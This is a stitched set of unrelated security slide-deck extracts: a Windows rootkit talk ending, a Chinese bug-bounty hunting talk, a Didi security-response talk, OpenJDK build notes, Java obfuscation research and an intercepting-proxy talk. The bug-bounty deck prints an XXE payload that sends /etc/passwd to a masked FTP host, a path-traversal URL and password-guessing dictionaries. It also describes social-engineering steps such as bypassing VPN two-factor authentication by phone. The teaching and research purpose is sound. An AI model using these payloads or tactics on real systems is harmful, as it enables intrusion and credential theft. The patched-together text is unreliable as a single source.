For stability, although obtaining a FLT_INSTANCE structure is documented,
the FLT_INSTANCE structure itself is undocumented.
How expensive would it be to detect the method?
Inexpensive, an anti-virus would need to occasionally enumerate registered
filters and their instances for hooks in the CallbackNodes array.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
69
Example: Abusing a Mini-Filter
Let’s say you want to protect a certain file, what’s an example of
redirecting access to it?
Demystifying Modern Windows Rootkits – Black Hat USA 2020
70
Wrap Up
Demystifying Modern Windows Rootkits – Black Hat USA 2020
71
Thanks to...
Alex Ionescu (@aionescu)
Long-time mentor very experienced with Windows Internals.
ReactOS
A fantastic reference for undocumented functions and structures.
Nemanja Mulasmajic (@0xNemi) and Vlad Ionescu (@ucsenoi)
Helped review this presentation.
Demystifying Modern Windows Rootkits – Black Hat USA 2020
72
Contact / Questions
Thanks for sticking around! Now is the time for any questions.
Twitter
@BillDemirkapi
Blog
https://billdemirkapi.me
Spectre Rootkit
https://github.com/D4stiny/spectre
Demystifying Modern Windows Rootkits – Black Hat USA 2020
73 | pdf |
Security Response Center
吴
永
佳
国内SRC的漏洞趋势变化
及漏洞挖掘的一些思路分享
关于我
一名白帽子
常用ID getshell1993
曾活跃于多个第三方漏洞平台及众测平台
曾活跃于多个SRC漏洞平台
SogouSRC BaiduSRC 360SRC CainiaoSRC WifiSRC TuniuSRC MeizuSRC DouyuSRC
Wooyun Xianzhi Allsec DidiSRC MobikeSRC NcfSRC SinaSRC LenovoSRC LetvSRC ……
国
内
S
R
C
的
漏
洞
趋
势
变
化
1
Past
Now
传统漏洞企业自动化扫描检测越来越成熟
大型互联网企业开发人员安全意识逐步提升
SDLC、RASP、WAF、HIDS、蜜罐、统一认证……
传统漏洞
挖掘成本越来越高
大型互联网企业安全团队不断壮大
开发框架安全性正在逐步提升
2016年发生的两件对国内信息安全行业产生颠覆式影响的大事
2
多 关 注 那 些 容 易 被 忽 视 的 资 产
常规资产信息收集手段
如,IP端口扫描、同网段扫描、子域名的各类收集方式及爆破等等
当然对SRC厂商子域名和IP端口变化的监控非常重要
但是,这次我要介紹一些在平常测试中容易被忽略的企业资产
关于企业资产还应多关注以下重灾区:
非普通用户使用的系统
企业使用的外部第三方系统和比较隐蔽的系统
企业的微信公众号/小程序
企业的支付宝生活号/小程序
APP Store 安卓市场的所有APP+内部APP
各省市分公司的自建站点
………………
注册账号要提供这么多信息?
放弃,放弃,关闭页面,关闭浏览器,再见
非个人用户使用的系统
媒体认证
卖家认证
企业认证
开发者认证
医生认证
Vip账号
作者认证
主播认证
司机认证
突破常规不走寻常路
当大家都朝着一个固定的方向去发现问题时,而你却独自朝相反的方向探索,往往会有惊喜
非普通用户使用的系统
部分平台审核不严,很多情况下提供资料注册即可通过或简单电话验证即可通过
想办法提供各类资料注册(注册公司/购买营业执照;网上公开信息收集;PS)
注册不了的想办法获取到账号(爆破/撞裤;套路社工在线客服/人工客服;文库/QQ群/github泄漏等)
借账号/租账号/买账号(在部分情况下也可以当威胁情报提交)
有些账号也可以花几十块钱在某宝上或QQ群上购买
营业执照可以轻易购买
有些账号也可以通过信息泄露方式获取
柳暗花明又一村
漏洞多,通过率接近100%,美滋滋
18年提交的部分SRC漏洞
非普通用户注册使用系统的漏洞
企业使用的外部第三方系统和比较隐蔽的系统
有时通过网络空间资产搜索企业信息会有惊喜
如FOFA、SHODAN……
以及各类搜索引擎……
比如此类惊喜
企业使用的外部第三方系统和比较隐蔽的系统
以平安为例
企业使用的外部第三方系统和比较隐蔽的系统
以平安为例
也可以根据其证书,header信息,备案号等信息搜索……
企业使用的外部第三方系统和比较隐蔽的系统
以平安为例
企业使用的外部第三方系统和比较隐蔽的系统
18年提交的部分SRC漏洞 第三方系统漏洞
关于国内SRC
选择大于努力系列
同个第三方厂商系统
三家SRC奖励分别是40000、1000、450
适用大型企业SRC,业务多,资产复杂
关键词搜索+账号主体过滤
关注企业每个业务、每个分公司对应的微信公众号
新活动,新业务上线往往会有公众号消息推送
企业的微信/支付宝公众号+小程序+APP
企业的微信/支付宝公众号+小程序+APP
以平安为例
以平安为例
…………
企业的微信/支付宝公众号+小程序+APP
企业的微信/支付宝公众号+小程序
18年提交的部分SRC漏洞公众号/小程序/APP相关漏洞
XXXX微信存储XSS打到大量cookie
XXXX微信一处遍历企业信息
XXXX任意绑定账号可查看任意手机号订单信息
XXXX微信端整站订单泄露
XXXX公众号商城存在SQL注入
XXXX分公司公众号可getshell
XXXX微信端越权可导致整站用户地址信息泄露
XXXX小程序XSS盲打到进入后台
XXXX微信小程序越权使用他人优惠券导致0元支付
XXXX微信端一处任意文件读取+SSRF
XXXX小程序越权查看整站订单信息
XXXXAPP城支付漏洞可控制订单金额
XXXXAPP某处用户信息泄露
……
人 是 最 大 的 漏 洞
3
Github信息泄露监控
基于代码搜索关键字匹配(域名/兄弟域名/内网域名/企业内部密码……)
https://github.com/0xbug/Hawkeye
https://github.com/MiSecurity/x-patrol
https://github.com/VKSRC/Github-Monitor
………………
另类思路
从GitHub的账户出发,通过邮箱进一步获得对应的用户名
混入内部QQ群等>提取QQ号>关联邮箱>关联用户名
git config user.email ********
通过人的关系来获得一些代码搜索不具有的优势
思路来源:https://www.freebuf.com/articles/web/198721.html
定制厂商专属的用户名字典
前期信息收集,确认厂商员工账号命名规则,制定精准用户名字典(搜索引擎/whois/名片/github/招聘网站)
我认识的朋友中叫李伟的有四个,叫李冰的有三个,叫李倩的有两个……
假如一个大企业里有数千员工,数万员工,甚至数十万员工……
那么这个企业里员工姓名相同的肯定很多……
于是员工的帐号就很可能会这样命名
liwei liwei01 liwei02 liwei03 liwei-s
libing libing01 libing02 libing03 libing-s
Top10000姓名生成对应字典
账号弱口令问题
制定专属的密码字典(弱密码/高强度弱密码)
部分系统有账号锁定机制,爆破需谨慎,可通过单一密码+账号尝试爆破
从简到杂递进进行尝试(用户名/域名/兄弟域名+数字+符号+年份+键盘密码字典)
domain123
domain1234
domain666
domain888
domain2018
domain2019
domain@123
domain@1234
domain@666
domain@888
domain@2018
domain@2019
domain&123
domain&1234
domain&666
domain&888
domain&2018
domain&2019
……
Domain123
Domain1234
Domain666
Domain888
Domain2018
Domain2019
Domain@123
Domain@1234
Domain@666
Domain@888
Domain@2018
Domain@2019
Domain&123
Domain&1234
Domain&666
Domain&888
Domain&2018
Domain&2019
……
username123
username1234
username666
username888
username2018
username2019
username@123
username@1234
username@666
username@888
username@2018
username@2019
username&123
username&1234
username&666
username&888
username&2018
username&2019
……
!QAZ2wsx
!QAZ@WSX
!QAZxsw2
!QAZXSW@
1qaz@WSX
1qazXSW@
1qaz@wsx
@WSX1qaz
@WSXzaq1
@WSX3edc
2wsx#EDC
2wsx!QAZ
2wsxCDE#
2wsxZAQ!
Qwer!234
Qwer1234
Asdf!234
Asdf1234
……
Aa123456
aA123456
Aa654321
Aa666666
Aa888888
root@123
root@2019
Root1234
Root2019
Admin123
Admin2019
admin@123
admin@1234
admin@2019
Passw0rd
P@ssword
p@ssw0rd
……
123456789
a123456
123456
a123456789
1234567890
woaini1314
qq123456
abc123456
123456a
123456789a
147258369
zxcvbnm
test1234
987654321
12345678910
abc123
qq123456789
123456789.
……
账号弱口令问题
社工相关
根据我的个人经验尝试,成功率极高
部分成功案例
qq小号伪装成内部员工通过入群申请,混入企业内部QQ群,在群里和开发人员交流技术,蹲点一个
多月,最终获取到内部敏感信息提交SRC
通过给某企业IT部门打电话,重新解绑vpn手机号,绕过vpn双因素进入内网
多次发一些链接给客服小姐姐点击,进一步进入某些系统
给在线客服打电话说要购买服务想先试用系统,进一步获取到系统测试账号密码
到某企业办公楼层连接wifi,通内网
社工有风险,切勿模仿,记得先跟厂商安全人员沟通报备
一 些 高 频 出 现 的 漏 洞
4
文档上传存在XXE漏洞(某SRC案例回顾-漏洞已修复)
上传xlsx/docx文档的功能很可能存在XXE漏洞
从office2007版本开始引入XML文件格式
poi-ooxml.jar
xlsx-streamer.jar ……
碰到文档的上传点可以用构造的恶意文件盲打试试
https://github.com/BuffaloWill/oxml_xxe
修改[Content_Types].xml文件
Evil.xml文件内容,试着读取etc/passwd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'ftp://*********:80/%file;'>">
%int;%
send;
服务器监听ftp
图片上传存在ImageTragick命令执行(某SRC案例回顾-漏洞已修复)
http://www.xxxxx.com/upload.php?w=140&h=105&s=1&url=http://42.62.**.**/test.png
CVE-2016-3714 CVE-2018-16509 CVE-2019-6116
也有可能存在ghostscript远程命令执行漏洞
导致所有引用ghostscript的上游应用受影响,常见应用如下:
imagemagick libmagick graphicsmagick gimp texmacs python-matplotlibtexlive-core latex2html latex2rtf等等
视频上传存在FFmpeg文件读取/ssrf(某SRC案例回顾-漏洞已修复)
如果某场景使用ffmpeg版本小于3.2.4,并且有上传用户自定义avi视频的时候,利用该漏洞可以读取服务器上任意文件。
制作特殊的avi上传 test.avi
https://github.com/neex/ffmpeg-avi-m3u-xbin/blob/master/gen_xbin_avi.py
5
程 序 员 的 天 敌 是 产 品 经 理 和 安 全 人 员
当提交 ...//后,后台会过滤 ../ 替换成空,于是替换后...//变成了./
厂商>>>漏洞已修复
复测发现修复不当可继续利用,继续提交漏洞
http://xx.xxxxx.com/tmpl?file=../../../../../../../../../etc/passwd
某SRC案例回顾-漏洞已修复
Other
阅尽天下漏洞,心中自然无码
不断学习,多关注新漏洞,学习新思路新姿势
关注新的cve/新的公开漏洞/各类ctf公开writeup
……
安全属于高危行业
白帽子首先需要学习一些法律知识,保护好自己
认清测试与入侵的区别
测试时点到为止,勿做破坏
未授权系统,请勿测试
不从事与任何黑产相关的活动
同时也希望企业可以想明白道理,知道自己正真的敌人是谁
End
THANKS | pdf |
聊聊这⼀一年年多以来
如何建设滴滴DSRC
分享嘉宾:安惞
今天,我打着滴滴来滴滴安全⼤大会,⼀一边听着《平凡之
路路》,⼀一边看着窗外的蓝天⽩白云,回忆起⼏几年年前在寒⻛风
中等⻋车,在地铁中赶路路,感觉真幸福。
滴滴改变出⾏行行
滴滴改变出⾏行行
现在,4.5亿⼈人的出⾏行行⽅方式,因为“滴滴⼀一下,⻢马上出发”
发⽣生了了改变。
⽩白帽⼦子
漏漏洞洞
互联⽹网企业
情报、经验和传播共享
安全⼚厂商
产品、技术、⼈人才合作
⾼高校
⼈人才,漏漏洞洞,学术
媒体
传播,信息资源
政府
法律律法规
谁来保护滴滴4.5亿⽤用户的信息安全?
安全⽣生态圈
注:部分内容参考“⽼老老⻢马哥哥”默安科技公众号发布的⽂文章《浅谈企业安全技术品牌建设》
漏漏洞洞
⼈人才
影响⼒力力
⽩白帽⼦子
DSRC能做什什么?
⽩白帽⼦子
DSRC通过参照AARRR体系
建⽴立与⽩白帽⼦子关系维护的⽅方法
包括⽩白帽⼦子的拉新、促活、留留存、
转化和推荐
⽩白帽⼦子推荐
⽩白帽⼦子转化
⽩白帽⼦子留留存
⽩白帽⼦子促活
⽩白帽⼦子拉新
提升⽩白帽⼦子
数量量质量量
提升漏漏洞洞
数量量质量量
⽩白帽⼦子
⽩白帽⼦子
Revenue
Retention
Activiation
Acquisition
Refer
From AARRR
⽩白帽⼦子
⽩白帽⼦子
⽩白帽⼦子拉新
01
02
03
渠道
SEO/SEM
安全媒体、论坛:
社群:QQ群/微信群
新媒体:微博/微信公众号
业界安全⼤大会
推⼴广
线上推⼴广
⾃自主:⾃自媒体运营,活动营销,⼈人⼯工邀请,SEO
合作:友商互推,项⽬目合作,媒体传播
线下推⼴广
⾃自办⼤大会
友商⼤大会站台
成本
即愿意投⼊入到⽩白帽⼦子运营的
财物、⼈人⼒力力和时间成本
优质内容输出
趣味⽂文章
技术⽂文章
阶段促活活动
⾃自营活动
合作活动
⽩白帽激励体系
物质
精神
权益
⽩白帽成⻓长体系
⽩白帽积分体系
阶段性评价
⽩白帽⼦子促活
⽩白帽⼦子
⽩白帽⼦子
⽩白帽⼦子N⽉月留留存率=
该⾃自然⽉月后第N个⾃自然⽉月提交漏漏洞洞⽩白帽⼦子数/该⾃自然⽉月提交漏漏洞洞⽩白帽⼦子数
总体
数量量
1⽉月
2⽉月
3⽉月
4⽉月
1⽉月⽩白帽⼦子
x
100%
50%
25%
15%
2⽉月⽩白帽⼦子
y
100%
50%
25%
3⽉月⽩白帽⼦子
z
100%
50%
⽩白帽⼦子留留存
⽩白帽⼦子促活
⽩白帽⼦子拉新
⽩白帽⼦子推荐
⽩白帽⼦子转化漏漏洞洞
⽣生命周期
⽤用户属性
⽤用户渠道
⽩白帽⼦子召回
标准化服务
白帽子沟通
白帽子画像
争议协调
情感关怀
⽤用户调研
原因分析
优化
定级处理理
奖励
⽩白帽⼦子
⽩白帽⼦子
⽩白帽⼦子留留存
通过促活、留留存,提升⽤用户数量量质量量
通过分析、复盘,优化产品、策略略
1.漏漏洞洞转化
注册⽩白帽⼦子
⽩白帽⼦子
⽩白帽⼦子转化
⽩白帽⼦子
3%
8%
20%
100%
提交漏漏洞洞⽩白帽⼦子
漏漏洞洞有效⽩白帽⼦子
⾼高质量量⽩白帽⼦子
分析等量量、等质漏漏洞洞
SRC和⾮非SRC渠道的成本
包括:⼈人⼒力力,财⼒力力,时间
2.成本转化
⽩白帽⼦子推荐
⽩白帽⼦子
⽩白帽⼦子
⾃自媒体
核⼼心⽩白帽⼦子
安全团队
漏漏洞洞
像产品有⾃自⼰己的⽣生命周期,漏漏洞洞也
有⾃自⼰己的⽣生命周期
DSRC的漏漏洞洞⽣生命周期,⼜又是从何开
始,从何结束?
DSRC漏漏洞洞闭环周期
对外:
⽩白帽⼦子运营:
拉新
促活
1
漏漏洞洞拉新
2
漏漏洞洞发现
对内:
内部漏漏洞洞提交
对外:
DSRC平台
外部报告
对内:
应急响应
漏漏洞洞审核
对外:
争议协调
漏漏洞洞激励
规范化
3
漏漏洞洞响应
4
漏漏洞洞修复
对内:
漏漏洞洞管理理平台:
流程化,规范化,通知机制
知识库、资产、⼈人员
对外:
更更新状态
对内:
安全流程补查
安全产品漏漏报
安全报告通报
改进措施落地
对外:
额外激励
5
漏漏洞洞复盘改进
漏漏洞洞闭环
漏漏洞洞
⾃自主
漏漏洞洞闭环
漏漏洞洞拉新
优势:
忠诚度⾼高,漏漏洞洞质量量⾼高
劣势:
资源较少,⾃自主打造影响⼒力力难度⼤大
优势:
⽩白帽⼦子基数⼤大,提升影响⼒力力
注意:
需保障安全
合作
VS
漏漏洞洞
漏漏洞洞闭环
漏漏洞洞发现
http://sec.didichuxing.com/
DSRC平台
官方唯一对外
收集滴滴相关安全漏洞的平台
漏漏洞洞
漏漏洞洞闭环
漏漏洞洞响应
迅速响应
⽇日志排查
争议协调
漏漏洞洞响应SLA
⾼高危严重通报
利利⽤用与否
同类排查
原因分析
被忽略略
评级差异
漏漏洞洞已知
规范未覆盖
DSRC漏洞争议协调三原则:
1. 尊重白帽子的劳动成果和自尊心
2. 信任安全工程师的技术专业水平
3. 若争议是由于规范不明导致,以白帽子的利益作为该case的判定出发点,然后优化规范
漏漏洞洞
漏漏洞洞闭环
漏漏洞洞修复
规范化
产品化
⾃自动化
分类
定级
流程
SLA
⼯工作流
通知机制
漏漏洞洞去重
资产
⼈人员
知识库
扫描器器
漏漏洞洞
漏漏洞洞闭环
漏漏洞洞复盘改进
意识?需分?设计?开发?
测试?运维?
扫描器器
防护产品
逻辑、业务流程、
账号、⽀支付
SDL流程复盘
1
安全产品复盘
2
业务安全复盘
3
注意:改进措施责任到⼈人,明确到时间点,且持续跟进
⼈人才
21世纪最值钱的是什什么?
⼈人才!
⼈人才从哪⾥里里来?
DDCTF选拔优质信息安全⼈人才加盟
滴滴出⾏行行信息安全部
⼈人才
⼈人才
DDCTF
2017年年5⽉月, 滴滴出⾏行行信息安全部主办DDCTF ,⾯面向全国所有⾼高等院校全⽇日制在读学⽣生的信息安全技术
竞赛,旨在提升滴滴安全技术影响⼒力力,选拔校园端⾼高⽔水平⼈人才,锻造⾼高⽔水平信息安全团队,为滴滴⽤用户保
驾护航。
3685参赛
PV 80w+
6⼈人⼊入职,包括冠军
影响⼒力力
⽩白帽⼦子有专⻔门的运营体系
⾼高校有DDCTF招聘⼈人才
那针对安全⽣生态圈的其他⻆角⾊色,如
何建⽴立品牌影响⼒力力?
影响⼒力力
影响⼒力力
专注最纯粹的安全技术
永远的好奇⼼心
数据安全
汽⻋车安全
安全攻防
macOS安全
蜜罐
调查取证
威胁情报
安全D头条
知识库
趣味⽂文章
ISC⼤大会
ISW⼤大会
XTCF联赛
i春秋互联⽹网安全责任峰会
……
安全说
媒体传播
对外合作
专 注 最 纯 粹 的 安 全 技 术
感恩 | pdf |
openjdk8 编译与clion 调试
1
openjdk8 编译与clion 调试
Created
Tags
Mac catalina 10.15.7 , base java version = 1.8.91
step by step:
brew install mercurial
brew install autoconf
brew install freetype
brew install ccache
xcode-select install or xcode-select —install
gcc -v
Configured with: --prefix=/Applications/Xcode.app/Contents/Developer/usr --with-gxx-
include-
dir=/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/c++/4.2.1
Apple clang version 12.0.0 (clang-1200.0.32.29)
Target: x86_64-apple-darwin19.6.0
Thread model: posix
InstalledDir:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin
ll /usr/bin/llvm-g++
lrwxr-xr-x 1 root wheel 7B 10 29 2019 /usr/bin/llvm-g++ -> clang++
ll /usr/bin/llvm-gcc
lrwxr-xr-x 1 root wheel 5B 10 29 2019 /usr/bin/llvm-gcc -> clang
@October 14, 2021 5:24 PM
openjdk8 编译与clion 调试
2
clang++ -v
Apple clang version 12.0.0 (clang-1200.0.32.29)
Target: x86_64-apple-darwin19.6.0
Thread model: posix
InstalledDir:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin
clang -v
Apple clang version 12.0.0 (clang-1200.0.32.29)
Target: x86_64-apple-darwin19.6.0
Thread model: posix
InstalledDir:
/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin
download jdk8u least source code from codebase
hg clone http://hg.openjdk.java.net/jdk8u/jdk8u jdk8u
chmod 777 get_source.sh
./get_source.sh
openjdk8 编译与clion 调试
3
chmod 777 configure
./configure --with-debug-level=slowdebug
openjdk8 编译与clion 调试
4
sudo make LOG=trace all
openjdk8 编译与clion 调试
5
if you laptop have 8 core 16 threads, may be 10mins.
if you get some problem, congratulations, You fuck up.
CMakeLists.txt
cmake_minimum_required(VERSION 3.14) # 这个设置不需要严格对应,⾃⼰建个测试项⽬复制过来这段即可
openjdk8 编译与clion 调试
6
project(hotspot)
file(GLOB_RECURSE SOURCE_FILES "*.cpp" "*.hpp" "*.c" "*.h")
include_directories(hotspot/src/share/vm)
include_directories(hotspot/src/cpu/x86/vm)
include_directories(hotspot/src/share/vm/precompiled)
include_directories(hotspot/src/share/vm/utilities)
add_executable(hotspot ${SOURCE_FILES})
using LLDB create 127.0.0.1 localhost in hosts.
enjoy it.
openjdk8 编译与clion 调试
7 | pdf |
Fingerprinting and Cracking Java
Obfuscated Code
Yiannis Pavlosoglou
A total of 36 slides
Brief Outline
1.
Background
2.
Motivation
3.
Methodology
4.
Fingerprinting Tool
5.
Examples
6.
Conclusions
1. Background
•
Java Bytecode Operations
•
Language Security Mechanisms
•
Disassembling HelloWorld.java
•
From Bytecode to Source
•
What Popular Obfuscators Offer?
1.1 Java Bytecode
Architecture (x86, PPC, Alpha)
Java Virtual Machine
Class
Loader
Execution
Engine
MyProject.jar
MyProject.class
Host Operating System (Windows, Linux, etc.)
Native
Method
Calls
Bytecode
1.2 Language Security Mechanisms
•
Type, memory and control flow checks
–
Instruction sets of the virtual machine [1]
•
Object creation
–
Privilege escalation [2]
•
Function calls
•
Exception handling
–
Verification (format, type, other violations) [3]
•
Security vulnerabilities lsd-pl.net [4]
1.3 HelloWorld
in Bytecode
HelloWorld.java
HelloWorld.class
HelloWorld.bc
(javac)
(javap)
1.4 Bytecode to Source
•
Java is Platform Independent Code
–
Simplifies reversing compared to C/C++
•
Popular Java Decompilers [5]
•
Particular obfuscators are written with the
operations of java Decompilers in mind [6]
1.5 What do obfuscators offer?
•
Operations:
–
Less Human Readable
Code
–
Remove Debug
Information
–
Alter the Control Flow
–
“Encrypt”
Constants
–
Restructure Simple
Logic
–
Inject Unnecessary Code
•
Usability:
–
Used for applications
that are delivered to the
user
–
Generally, used in J2SE
Applets, Installed
Applications, etc.
–
Generally, not used in
Java Enterprise
Environments
2. Motivation
•
Basic Obfuscation Techniques
•
Reverse Engineering Particulars
•
Who is Using Obfuscators?
2.1 Basic Obfuscation Techniques
•
Renaming of objects and methods
–
a.class, b.class, a.c(5), etc.
•
Extending classes
–
public class a extends d {
•
Removing line numbers
•
Encoding String Values
•
Variable Splitting Techniques
–
boolean
z becomes int
x=1; if (x < 0)
“Obfuscation is possible for the same reasons that
decompiling is possible” [7]
2.2 Reverse Engineering Particulars
•
Obtain Application Code
•
Extract/Review Class Files
•
Quickly Establish:
–
Renamed files
–
Missing debug info
–
Unnecessary code present
–
Potential code optimization
2.3 Who is Using Obfuscators?
•
Let us have a quick browse…
3. Methodology
•
A Taxonomy of obfuscating transforms
•
String and constant representation
•
Uniformity across the code base
•
Kirchoff’s
principle reversed
•
Obfuscation encryption levels
Data
Obfuscation
Split Variables
Promote Scalars
to Objects
Inheritance
Relations
Change Encoding
Split, Fold, Merge
Arrays
Reorder Instance
Variables
Layout
Obfuscation
Scramble
Identifiers
Change
formatting
Remove
Comments, Line
Numbers
Remove Debug
Information
Control
Obfuscation
Clone Methods
Reorder
Statements and
Loops
Reducible to
Non-reducible
Flow Graphs
Extend Loop
conditions
Outline
Statements
Preventive
Obfuscation
Exploit
Weaknesses in
Current
Decompilers and
Deobfuscators
Explore inherent
problems with
known
deobfuscation
techniques
3.1 Taxonomy of Obfuscating Transforms
Source: [8]
3.2 String and Constant Representation
•
The Perfect Entry
Point!
•
Identifying Strings
while Reversing:
–
Yields Architecture
–
Yields Design Patterns
–
Hard-coded Constants
3.3 Uniformity Across the Code Base
•
Typically, obfuscation is uniform across
the code base
•
Understanding how UI and IO operations
are obfuscated is key to cracking
•
Design patterns and used structures (e.g.
Vectors, Lists, FILOs) are also key
•
Generally, obfuscators do not offer more
than a handful of options for a transform
3.4 Kirchoff’s
Principle Reversed
•
Obfuscation aims to make the code harder
to interpret
•
The equivalent of a known plaintext attack
in a cryptosystem
•
Becomes a known code attack for an
obfuscator
•
Using the obfuscator as a black box,
assess the level of leet
it offers
3.5 Obfuscation Encryption Levels
•
Non-existent
–
Difficult to implement
–
Of little benefit: The bytecode has to run!
•
No public/private crypto offered
–
Can it be implemented?
•
String encryption uses XOR type
operations
–
CPU and memory usage factors
4. Fingerprinting Tool
•
Calibration Check
•
Developing elucidate
•
List of Available Flags
•
Target Deliverables of elucidate
4.1 Calibration Check
•
Depending on the
obfuscation transform
we intend to identify
•
Attempt to generate
generic definitions
within a test class
•
Objective: Capture
the obfuscator’s
fingerprint
4.2 Developing elucidate
•
Build Calibration Classes for Particular
Obfuscation Transforms
•
Obtain Fingerprints for Particular
Obfuscators
•
Check the Generality and Overlap with
other Obfuscators of that Fingerprint
•
Include Results in elucidate
4.3 List of available flags
•
>perl elucidate.pl -h
•
Elucidate v0.1 -
Java Obfuscator Fingerprinting/Cracking Tool
•
Usage: elucidate.pl [-options *]
•
-h
: Print this usage message
•
-v
: Verbose option
•
-o
: Print supported obfuscators
•
-t
: Test current java environment
•
-f file
: Specify class file to identify
•
-j jar file
: Specify jar file to identify
•
-d directory
: Specify directory to identify
•
Examples:
•
elucidate.pl -f MyClass.class
•
elucidate.pl -d MyJar.jar
4.4 Target Deliverables of elucidate
•
Given a jar file, or class files
•
Identify which obfuscator has been used
•
Recover known Strings within the file
•
Give an estimate of the complexity
•
Provide a map, as a tool of the application
5. Examples
•
Examine the following commercial tools:
–
Zelix
KlassMaster
(4.5.0)
–
JShrink
(2.3.7)
–
RetroGuard
(2.2.0)
5.1 Zelix
KlassMaster
4.5.0 (1/4)
•
String literals three levels: Normal,
Aggressive and Flow Obfuscate.
•
PasswordCheck.class
through javap:
6
:
ldc
#8; //String ,bw:)q`iqv,=\"
14
:
ldc
#6; //String (km:N}?ps&,
22
:
ldc
#3; //String ,oa(-↓#w<.♀o}i?...
30
:
ldc
#9; //String ,bw:)‼q`i←♫qk;
5.1 Zelix
KlassMaster
4.5.0 (2/4)
•
Output in Unicode format
•
Special characters such as \n \b …
•
Unicode octal (\777)
•
Unicode hexadecimal (\FFFF)
5.1 Zelix
KlassMaster
4.5.0 (3/4)
•
Uses XOR operation
with five keys:
•
124, 3, 4, 73, 94
•
-Original:
,bw:)‼q`i↔‼qv,"
•
->Decoded:
Password Correct!
•
64:
tableswitch{ //0 to 3
•
0: 96;
•
1: 101;
•
2: 105;
•
3: 109;
•
default: 114 }
•
96:bipush
124
•
98:goto
116
•
101:
iconst_3
•
102:
goto
116
•
105:
iconst_4
•
106:
goto
116
•
109:
bipush
73
•
111:
goto
116
•
114:
bipush
94
•
116:
ixor
•
117:
i2c
5.1 Zelix
KlassMaster
4.5.0 (4/4)
•
String literals: Normal, Aggressive and
Flow Obfuscate.
•
The algorithm used for all three appears
to be identical.
•
Yet, the keys used, change at every
obfuscation attempt.
5.2 JShrink
2.3.7 (1/4)
•
Creates a new package, with a single class
•
Replaces String code with:
23: bipush
62
25: invokestatic
#48; //Method
I/I.I:(I)Ljava/lang/String;
28: invokevirtual
#7; //Method
java/lang/String.equals:(Ljava/lang/Objec
t;)Z
•
Equivalent to: ( I.I.I( 79 ) );
5.2 JShrink
2.3.7 (2/4)
•
Contents of package I include
a file called I.gif
•
However, this file is not an
image file:
•
As a file is being accessed, a decompiler
can be
used to view I.class
5.2 JShrink
2.3.7 (3/4)
1.
public class I {
2.
…
3.
public static synchronized final String I(int
int1){
4.
int
int2 = int1 & 0xFF;
5.
if( close[int2] != int1 ) {
6.
String String3;
7.
close[int2] = int1;
8.
if( int1 < 0 ) {
9.
int1 = int1
& 0xFFFF;
10.
String3 = new String( SDQU, int1, SDQU[int1 -
0x1] & 0xFF ).intern();
11.
append[int2] = String3;
12.
}
13.
return append[int2];
14.
}
15.
…
16.
static {
17.
try {
18.
Object Object1 = new I().getClass().getResourceAsStream( "" + 'I' + '.' + 'g'
+ 'i' + 'f' );
5.2 JShrink
2.3.7 (4/4)
•
Creates an invalid gif file storing the
encrypted Strings
•
Uses a separate class and method to
perform decryption
•
Replaces Strings with: I.I(int) e.g. I.I(97)
•
Does not alter Strings declared as
static and final
•
Introduces exceptions if the wrong int
is
passed as argument
5.3 RetroGuard
2.2.0
•
Does offer String encryption
•
Goes to show that some obfuscators
simply don’t use this approach
•
The creators of RetroGuard
quote:
“obfuscation is not encryption”
6. Final
Conclusions
•
Static obfuscation is at a primitive level
•
Encrypted Strings are an excellent entry
point into understanding the application
•
Identifying the crypto used:
–
yields the obfuscator tool used
–
yields what changes to expect in snippets
6. Final
Conclusions
•
Propose polymorphic obfuscation
–
Developers map out critical elements
•
Understanding of what an obfuscator can do
–
Obfuscator changes behaviour depending on file
•
UI treated differently to say, protocol implementation
–
Algorithms vary according to key file
•
In how many ways can you write a for/while loop?
Questions
•
[email protected] | pdf |
Martin Holst Swende
@mhswende
Patrik Karlsson
@nevdull77
Is very diverse: from a low-level infrastructure
point-of-view to high-level application flow
There are many tools, but a central
component is an intercepting proxy
Usually complex beasts
Feature
Requirement
Must be in
proxy?
Possible alternatives
Sitemapping
Traffic data
No
Http-level: trivial.
Based on html inspection : e.g. in
browser DOM– javascript.
Content analysis
Traffic data
No
W3af, ratproxy, proxmon, webscarab,
burp etc
Fuzzing
Traffic data
No
JBroFuzz
Spidering
Traffic data
No
Browser-based spiders with DOM-
access. Many choices.
Interception
Live traffic
Yes
None
Manual request
Traffic data +
sockets
No
An http/html/json/xml editor + sockets
Manual inspect
Traffic data
No
An http/html/json/xml editor
Sess. id analysis
Traffic data
No
Stompy
Search
Traffic data
No
Wide range: grep to lucene
It hogs my machine
Oh noes: OS updates itself through the proxy
They usually don’t perform well after a few thousand
requests
It is not flexible
Ok, I see the GET-params in the overview.
▪ …but now I want to see the POST – params
▪ … and now I want to see which of my browsers sent it
▪ … and now I want to see all Server-headers. Ordered by path.
▪ … and now I only want to see responses with content type
application/json and the value of the json parameter ”foobar”.
And what’s with all these cookies eating my screen real
estate?
It is not open
I wonder if <tool> would’ve detected that internal ip address?
”Let’s chain it: Webscarab, Burp, Paros and Ratproxy”
▪ The road to madness…
Write an intercepting proxy
Lightweight
▪ Memory-consumption does not grow with traffic
▪ Streams all non-captured traffic to destination asap
Recording
▪ Saves to database - MongoDB
▪ Document store where parsed data is stored as JSON documents
▪ Platform independent, Open Source and fast
Write an analysis engine
Flexible
▪ Using MongoDB advanced querying facilities
▪ Using dynamic views for data
And open
▪ With several different ways to analyse, export and utilise existing
applications.
Based on Owasp Proxy (by Rogan Dawes)
Records traffic to DB, both in parsed object
form and the raw binary data.
TCP interception (still in alpha)
Syntax highlightning
FQ/NFQ intercept mode (think freedom as in
telnet)
Proxy chaining
Reverse proxy mode
…This is definitely not your all-in-one proxy!
What is it?
What does it do?
Why use it?
How do I get it?
What does it run on, prerequisites?
What is it?
A MongoDB browser, with additional functionality
to extract and display information geared towards
web application testing.
A platform for utilising existing tools on pre-
recorded data.
What does it do?
Displays traffic data as defined by the user
Traffic and pattern aggregation
Traffic analysis via w3af and ratproxy
Export recorded traffic to other proxies
Filter and sort data
And more...
It is simple to write the kind of view you need for the
particular purpose at hand.
Example scenarios:
Analysing user interaction using several accounts with different
browsers, you are interested in cookies, user-agent
Analysing server infrastructure
